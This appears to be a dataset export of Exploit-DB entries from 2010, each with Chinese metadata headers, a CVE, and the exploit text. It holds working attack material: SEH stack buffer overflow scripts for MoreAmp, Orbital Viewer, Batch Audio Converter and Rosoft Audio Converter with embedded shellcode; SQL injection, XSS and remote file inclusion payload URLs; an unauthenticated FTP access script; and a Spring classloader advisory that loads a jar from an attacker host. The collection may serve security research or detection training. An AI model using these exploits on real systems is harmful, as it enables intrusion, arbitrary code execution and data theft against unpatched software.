QLWD/code_shield huggingface dataset:
标题: Banner Management Script - SQL Injection EDB-ID: 13929 CVE: 2010-4981 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-18 漏洞利用脚本: Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Banner Management Script SQL Injection
Vendor url:http://www.yourfreeworld.com
Version:n/a
Price:59$
Published: 2010-06-19
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team, Andhra hackers.com

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

Banner Management Script can be one of the most useful tools for any
webmaster.
If you own 1 or more websites and want to sell banner top and bottom sponsor
banner ads then this tool can be one of the best tool for you .

Our Banner Management script allows you to sell banner ads on multiple
websites from 1 place only. You can provide your advertisers with real time
stats of impressions and hits.

This script is easy to install and comes with a Free Installation so if you
need any help in installations we will install it for no extra cost.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/bannermanagerpro/trackads.php[sql]

# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/13929
标题: Joomla! Component RSComments 1.0.0 - Persistent Cross-Site Scripting EDB-ID: 13935 CVE: 2010-2464 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-19 漏洞利用脚本: # Exploit Title: Joomla Component RSComments 1.0.0 Multiple XSS
Vulnerabilities
# Date: 18 May 2010
# Author: jdc
# Software Link: http://www.rsjoomla.com
# Version: 1.0.0
# Tested on: PHP5, MySQL5

Name Field Persistent XSS
-------------------------

x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//"

NOTE: ONLY executes in backend!

Website Field Persistent XSS
----------------------------

http://x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//"

NOTE: also executes in backend! URL: https://www.exploit-db.com/exploits/13935
标题: MoreAmp - '.maf' Buffer Overflow (PoC) EDB-ID: 13934 CVE: 2010-2439 类型: DOS 平台: WINDOWS 发布日期: 2010-06-19 漏洞利用脚本: #!/usr/bin/python
#
# Title:                MoreAmp (.maf) Buffer Overflow POC
# Author:               Sid3^effects aKa HaRi
# Date:                 June 19th, 2010
# Platform:             Windows XP sp3 En
# Thanks to:            r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,gunslinger_
# greetz to :           All ICW members and my friends :) luv y0 guyz
#
# Usage :             File-->Open Song List-->load your evil song list(.maf)        

print "################################################################################"
print "                         MoreAmp (.maf) Buffer Overflow POC               "
print "                    By: Sid3^effects                       "
print "          Usage: File-->Open Song List-->load your evil song list(.maf)        "        
print "################################################################################"


buff = ("\x41" * 90000)

try:
    f1 = open("evil.maf","w");
    f1.write(buff);
    f1.close();

    print "\n MoreAmp (.maf) Buffer Overflow POC"
    print "\nFile Created Successfully.\n"
    print "Usage: \n[-] Click File\n[-] Open Song list\n[-] Load you evil file.maf "

except:
    print "Error." URL: https://www.exploit-db.com/exploits/13934
标题: Elite Gaming Ladders 3.5 - 'ladder[id]' SQL Injection EDB-ID: 13936 CVE: 2010-5014 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-19 漏洞利用脚本: [-] Elite Gaming Ladders v3.5 SQL Injection Vulnerability [-]


---Date : 2010-06-19
---Author : ahwak2000
---Email : z.u5[at]hotmail.com
[-] Script Info [-]
---Home : http://eliteladders.com/

[-] Vulnerability [-]


http://site.com/[path]/standings.php?ladder[id]=[SQL INj] URL: https://www.exploit-db.com/exploits/13936
标题: (Gabriel's FTP Server) Open & Compact FTP Server 1.2 - Full System Access EDB-ID: 13932 CVE: 2010-2620 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-18 漏洞利用脚本: # Exploit Title: Open&Compact Ftp Server <= 1.2 Full System Access
# Date: June 12, 2010
# Author: Serge Gorbunov
# Software Link: http://sourceforge.net/projects/open-ftpd/
# Version: <= 1.2
# Tested on: Windows 7, Windows XP SP3
#!/usr/bin/python

# Simply by omitting login process to the open ftp server it is possible
# to execute any command, including but not limited to: listing files,
# retrieving files, storing files. 
# Below is an example of a few commands. 
# If you want to test storing files with no authentication, create a 
# test file and uncomment out line with ftp.storbinary function call.

# Any command will work as long as there is at least on user who has the permission
# to execute that command. For example, storing files will work as long
# as there is one user with write permission. No matter whom it is. 

import ftplib
import os

# Connect to server
ftp = ftplib.FTP( "127.0.0.1" )
ftp.set_pasv( False ) 

# Note that we need no authentication at all!! 

print ftp.retrlines( 'LIST' )
print ftp.retrbinary('RETR changelog.txt', open('changelog.txt', 'wb').write ) 

# filename = 'test.txt'
# f = open( filename, 'rb' ) 
# print ftp.storbinary( 'STOR ' + filename, f )
# f.close()

ftp.quit() URL: https://www.exploit-db.com/exploits/13932
标题: MoreAmp - '.maf' Local Stack Buffer Overflow (SEH) EDB-ID: 13942 CVE: 2010-2439 类型: LOCAL 平台: WINDOWS 发布日期: 2010-06-20 漏洞利用脚本: ###################################################################
#Exploit Title : MoreAmp (.maf) local Stack Buffer Overflow (SEH)
#tested on windows xp SP 3 FR
#Author: MadjiX
#Special Greets:His0k4 [ where are you :( ]
#Greets:Bibi-info , Silectovic , Volc4n0
###################################################################
my $file= "MadjiX.maf";
my $junk = "\x41" x 108 ;
my $nseh = "\xeb\x06\x90\x90" ;
my $seh = "\xE1\x5B\x82\xC4" ;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$nseh.$seh.$shellcode;
close($FILE); URL: https://www.exploit-db.com/exploits/13942
标题: Orbital Viewer 1.04 - '.ov' Local Universal Stack Overflow (SEH) EDB-ID: 13940 CVE: 2010-0688 类型: LOCAL 平台: WINDOWS 发布日期: 2010-06-19 漏洞利用脚本: #!usr/bin/perl
#########################################################################################
#Pro: Orbital Viewer v1.04 (.orb/.ov) Local Universal Stack Overflow Exploit [SEH]
#Author: Crazy_Hacker
#Download: http://www.orbitals.com/orb/setupov.exe
#Date: 20-6-2010
#Tested: WinXp SP2
##########################################################################################

$junk = 6060;
$header = "OrbitalFileV1.0\n";
$nseh = "\xeb\xf9\xff\xff"; # jmp back 7 bytes
$seh = "\x0b\x0b\x27\x00"; # universal pop ebx - pop eax - ret at 0x00457C03 [ov.exe]
$fly_by = "\xe9\x52\xfe\xff\xff"; # jmp back 430 bytes = land on A's => nops => shellcode

#calc
$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
$nops = "\x90" x 20;
$payload = $nops.$shellcode.$fly_by;
$p_size = length($payload);
$final = $junk-$p_size;
$buffer = "\x41" x $final;
$exploit = $header.$buffer.$payload.$nseh.$seh;

open(my $c_h,">> exploit.ov");
print $c_h $exploit;
close $c_h;

print "File wuz created successfully!"; URL: https://www.exploit-db.com/exploits/13940
标题: Spring Framework - Arbitrary code Execution EDB-ID: 13918 CVE: 2010-1622 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-06-18 漏洞利用脚本: CVE-2010-1622: Spring Framework execution of arbitrary code

Severity: Critical

Vendor:
SpringSource, a division of VMware

Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

Description:
The Spring Framework provides a mechanism to use client provided data to update the properties of an object. This 
mechanism allows an attacker to modify the properties of the class loader used to load the object (via 
'class.classloader'). This can lead to arbitrary command execution since, for example, an attacker can modify the URLs 
used by the class loader to point to locations controlled by the attacker.

Example:
This example is based on a Spring application running on Apache Tomcat.
1. Attacker creates attack.jar and makes it available via an HTTP URL. This jar has to contain following:
 - META-INF/spring-form.tld - defining spring form tags and specifying that they are implemented as tag files and not 
classes;
 - tag files in META-INF/tags/ containing tag definition (arbitrary Java code).

2. Attacker then submits HTTP request to a form controller with the following HTTP parameter: 
class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/ At this point the zeroth element of the WebappClassLoader's 
repositoryURLs property will be overwritten with attacker's URL.

3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars() will use WebappClassLoader's URLs to resolve tag 
libraries and all tag files specified in TLD will be resolved against attacker-controller jar (HTTP retrieval of the 
jar file is performed by the URL class).

Mitigation:
All users may mitigate this issue by upgrading to 3.0.3
Community users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02
Subscription users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02 or 2.5.7.SR01

Credit:
The issue was discovered by Meder Kydyraliev, Google Security Team

References:
[1] http://www.springsource.com/security/spring-framework URL: https://www.exploit-db.com/exploits/13918
标题: Batch Audio Converter Lite Edition 1.0.0.0 - Local Stack Buffer Overflow (SEH) EDB-ID: 13909 CVE: 2010-2348 类型: LOCAL 平台: WINDOWS 发布日期: 2010-06-17 漏洞利用脚本: # Software Link:
http://www.freesoftwaretoolbox.com/files/batchaudio_setup.exe
# Tested on: Windows XP SP2
# Type of Vuln: SEH
# Code : bacon-exploit.py
# Greetz: Otoy, Postnix, Jasakom Community, Kilurah, Gesang, dan wedus-wedus
lainnya ^^
# Thanks: All OffSec member

#!/usr/bin/python

import struct

junk = "A" * 4132
nseh = "\xeb\x06\x90\x90"
seh = struct.pack('<L', 0x10029bb7) # pop edi pop esi ret from
lame_enc.dll
nop = "\x90" * 30
print "[+] Preparing for file.."
# windows/exec, CMD=calc.exe, EXITFUNC=seh
# 463 bytes, x86/alpha_mixed
shellcode = ("\x89\xe3\xdb\xc6\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
"\x6c\x49\x78\x4d\x59\x47\x70\x45\x50\x45\x50\x43\x50\x4c\x49"
"\x48\x65\x45\x61\x4e\x32\x42\x44\x4e\x6b\x50\x52\x44\x70\x4c"
"\x4b\x50\x52\x44\x4c\x4e\x6b\x42\x72\x45\x44\x4c\x4b\x43\x42"
"\x46\x48\x44\x4f\x4d\x67\x51\x5a\x46\x46\x44\x71\x4b\x4f\x44"
"\x71\x49\x50\x4e\x4c\x47\x4c\x51\x71\x51\x6c\x43\x32\x46\x4c"
"\x51\x30\x49\x51\x48\x4f\x46\x6d\x45\x51\x49\x57\x4d\x32\x48"
"\x70\x50\x52\x42\x77\x4c\x4b\x46\x32\x44\x50\x4c\x4b\x43\x72"
"\x47\x4c\x47\x71\x4e\x30\x4c\x4b\x47\x30\x51\x68\x4f\x75\x4f"
"\x30\x42\x54\x42\x6a\x46\x61\x4a\x70\x46\x30\x4c\x4b\x43\x78"
"\x46\x78\x4e\x6b\x43\x68\x47\x50\x45\x51\x4b\x63\x4b\x53\x47"
"\x4c\x47\x39\x4e\x6b\x47\x44\x4e\x6b\x46\x61\x48\x56\x50\x31"
"\x49\x6f\x50\x31\x4f\x30\x4c\x6c\x4b\x71\x4a\x6f\x44\x4d\x46"
"\x61\x48\x47\x46\x58\x4d\x30\x44\x35\x49\x64\x43\x33\x43\x4d"
"\x48\x78\x47\x4b\x51\x6d\x47\x54\x51\x65\x4b\x52\x43\x68\x4e"
"\x6b\x46\x38\x47\x54\x47\x71\x4e\x33\x43\x56\x4e\x6b\x46\x6c"
"\x50\x4b\x4c\x4b\x50\x58\x45\x4c\x46\x61\x4b\x63\x4e\x6b\x47"
"\x74\x4c\x4b\x43\x31\x4a\x70\x4c\x49\x42\x64\x44\x64\x46\x44"
"\x51\x4b\x51\x4b\x43\x51\x46\x39\x50\x5a\x42\x71\x4b\x4f\x4b"
"\x50\x46\x38\x51\x4f\x50\x5a\x4e\x6b\x45\x42\x48\x6b\x4c\x46"
"\x51\x4d\x51\x7a\x46\x61\x4c\x4d\x4f\x75\x4f\x49\x47\x70\x43"
"\x30\x43\x30\x46\x30\x42\x48\x50\x31\x4e\x6b\x50\x6f\x4d\x57"
"\x49\x6f\x4b\x65\x4f\x4b\x4b\x4e\x46\x6e\x50\x32\x49\x7a\x43"
"\x58\x4c\x66\x4f\x65\x4f\x4d\x4f\x6d\x4b\x4f\x48\x55\x47\x4c"
"\x47\x76\x51\x6c\x45\x5a\x4d\x50\x4b\x4b\x4d\x30\x44\x35\x43"
"\x35\x4d\x6b\x47\x37\x45\x43\x42\x52\x50\x6f\x51\x7a\x45\x50"
"\x51\x43\x49\x6f\x4b\x65\x43\x53\x45\x31\x42\x4c\x43\x53\x46"
"\x4e\x45\x35\x51\x68\x42\x45\x43\x30\x45\x5a\x41\x41")

f = open('exploit.wav', 'w')
print "[+] Writing vulnerable WAV file.."
f.write(junk+nseh+seh+nop+shellcode)
f.close()
print "[+] Success writing file.." URL: https://www.exploit-db.com/exploits/13909
标题: 2DayBiz Online Classified System - SQL Injection / Cross-Site Scripting EDB-ID: 13894 CVE: 2010-5019 2010-5018 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-16 漏洞利用脚本: Name : 2daybiz online classified system SQLi AND XSS Vulnerability
Date : june, 16 2010
Vendor url :http://www.2daybiz.com/online_classified_script.html
Critical Level  : HIGH
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
DESCRIPTION:
2daybiz online classified system allows you to start a fully automated classified ads site that includes essential features present in major classifieds sites. Our powerful script written in PHP allows your users to post new ads, for which you can charge a predefined amount. Billing is handled automatically and seamlessly through many of the popular payment gateways. Our classified ads software is fast, simple and fully customized through our built-in editor.

#######################################################################################################
Xploit: SQLI Vulnerability 

DEMO URL : http://[site]/products/orkutclone/view_photo.php?page=3&alb=[SQLI]
###############################################################################################################
Xploit: XSS Vulnerability 

Attack Pattern: '"--><script>alert(0x000872)</script>
DEMO URL :http://[site]/products/classified/headersearch.php?sid=[XSS]
###############################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/13894
标题: Rosoft Audio Converter 4.4.4 - Local Buffer Overflow EDB-ID: 13895 CVE: 2010-2329 类型: LOCAL 平台: WINDOWS 发布日期: 2010-06-16 漏洞利用脚本: # Exploit Title: Rosoft Audio Converter 4.4.4 Buffer Overflow
# Date: June 14, 2010
# Author: Blake
# Software Link: http://www.rosoftengineering.com/freeware/RosoftAudioConverterFree.aspx
# Version: 4.4.4
# Tested on: Windows XP SP3 / Windows 7 Home (change shellcode for Windows 7)
# Instructions: create malicious file, open in audio converter, select save

print "\n============================"
print "Rosoft Audio Converter 4.4.4"
print "      Written by Blake      "
print "   Tested on Windows XP SP3 "
print "============================\n"

# calc.exe
sc =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")

buffer = "\x41" * (4083 - len(sc))
nops = "\x90" * 20
near_jmp = "\xe8\xf4\xef\xff\xff" # jmp back 
next_seh = "\xeb\xf9\x90\x90" 
seh = "\xe7\xb3\x49\x00" #Found pop eax -  pop ebx -  ret at 0x0049B3E7 [rosoftaudioconverterfree.exe]
junk = "\xCC" * 25000

print "[+] Creating malicious .m3u file"
try:
 file = open("blake.m3u","w")
 file.write(buffer + nops + sc + near_jmp + next_seh + seh + junk)
 file.close()
 print "[+] File created"
except:
 print "[x] Could not create file"

raw_input("\nPress any key to exit...\n") URL: https://www.exploit-db.com/exploits/13895
标题: EZPX Photoblog 1.2 Beta - Remote File Inclusion EDB-ID: 13890 CVE: 2010-2341 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-16 漏洞利用脚本: [~] EZPX photoblog 1.2 beta Remote Include Exploit
[~] Vendor Url: http://ezpx.org/
[~] Found by sh00t0ut
[~] Expl: http://[victim]/system/application/views/public/commentform.php?tpl_base_dir=[evil script] URL: https://www.exploit-db.com/exploits/13890
标题: File Sharing Wizard 1.5.0 - Buffer Overflow (PoC) EDB-ID: 13876 CVE: 2010-2330 类型: DOS 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: #!/usr/bin/python

# http://www.sharing-file.net/
# File Sharing Wizard Version 1.5.0 build on 26-8-2008
#
# controlling EAX
# ESP points to our buffer
# buffer grows if we increase our string
#
# more details on http://www.s3cur1ty.de
# have fun m1k3 [at] m1k3 [dot] at

import socket
import sys

if len(sys.argv) < 2:
print "Usage: vrfy.py <IP-Adr> <port>"
sys.exit(1)

ips = sys.argv[1]
port = int(sys.argv[2])


string = "A"*51
string += "B"*4 #controlling eax
string += "C"*500

header = "Content-Length"

print "starting the attack for:", ips
print ""

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
connect=s.connect((ips, port))
except:
print "no connection possible"
sys.exit(1)

print "\r\nsending payload"
print "..."
payload = (
'GET http://%s/ HTTP/1.0\r\n'
'%s: %s\r\n'
'\r\n') % (ips,header,string)

s.send(payload)
s.close()

print "finished kicking device %s" % (ips)
print "... the service should be crashed ... check eax" URL: https://www.exploit-db.com/exploits/13876
标题: Smart ASP Survey - Cross-Site Scripting / SQL Injection EDB-ID: 13880 CVE: 2010-5045 类型: WEBAPPS 平台: ASP 发布日期: 2010-06-15 漏洞利用脚本: 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################## 1
0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1
1 ########################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Smart ASP Survey SQL & XSS Vulnerable
Vendor url:http://www.sellatsite.com
Version:n/a
Published: 2010-06-15
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team, Andhrahackers.com

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

Smart ASP Survey is an easy-to-use application that provides your poll
results. Simply login to your admin panel and generate surveys.
Administrators can work from their browsers, any time, from anywhere. And,
there are no limits to the types of questions you can ask, how many polls
are stored in your archives, or how many optional answers to your poll
question. Simply login to admin start creating your surveys.

Features:

* Powerful Admin
* Upload your own logo.
* Add your own categories.
* Add/Edit/Delete Questions
* Add/Edit/Delete Answers
* Graphical Results
* Website Redirection on Survey Exit.
* User friendly Control panel.
* Complete Survey Record.
* Setup Site from Admin panel.


~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :http://server/poll/default.asp?catid=[sqli]

*XSS Vulnerable

Parameter:'"-->

DEMO URl:http://server/poll/default.asp?catid=

# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/13880
标题: Nakid CMS 0.5.2 - Remote File Inclusion EDB-ID: 13889 CVE: 2010-2358 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-16 漏洞利用脚本: [~] Nakid CMS 0.5.2 Remote Include Exploit
[~] Found by sh00t0ut
[~] Expl: http://[victim]/modules/catalog/upload_photo.php?core[system_path]=[evil script] URL: https://www.exploit-db.com/exploits/13889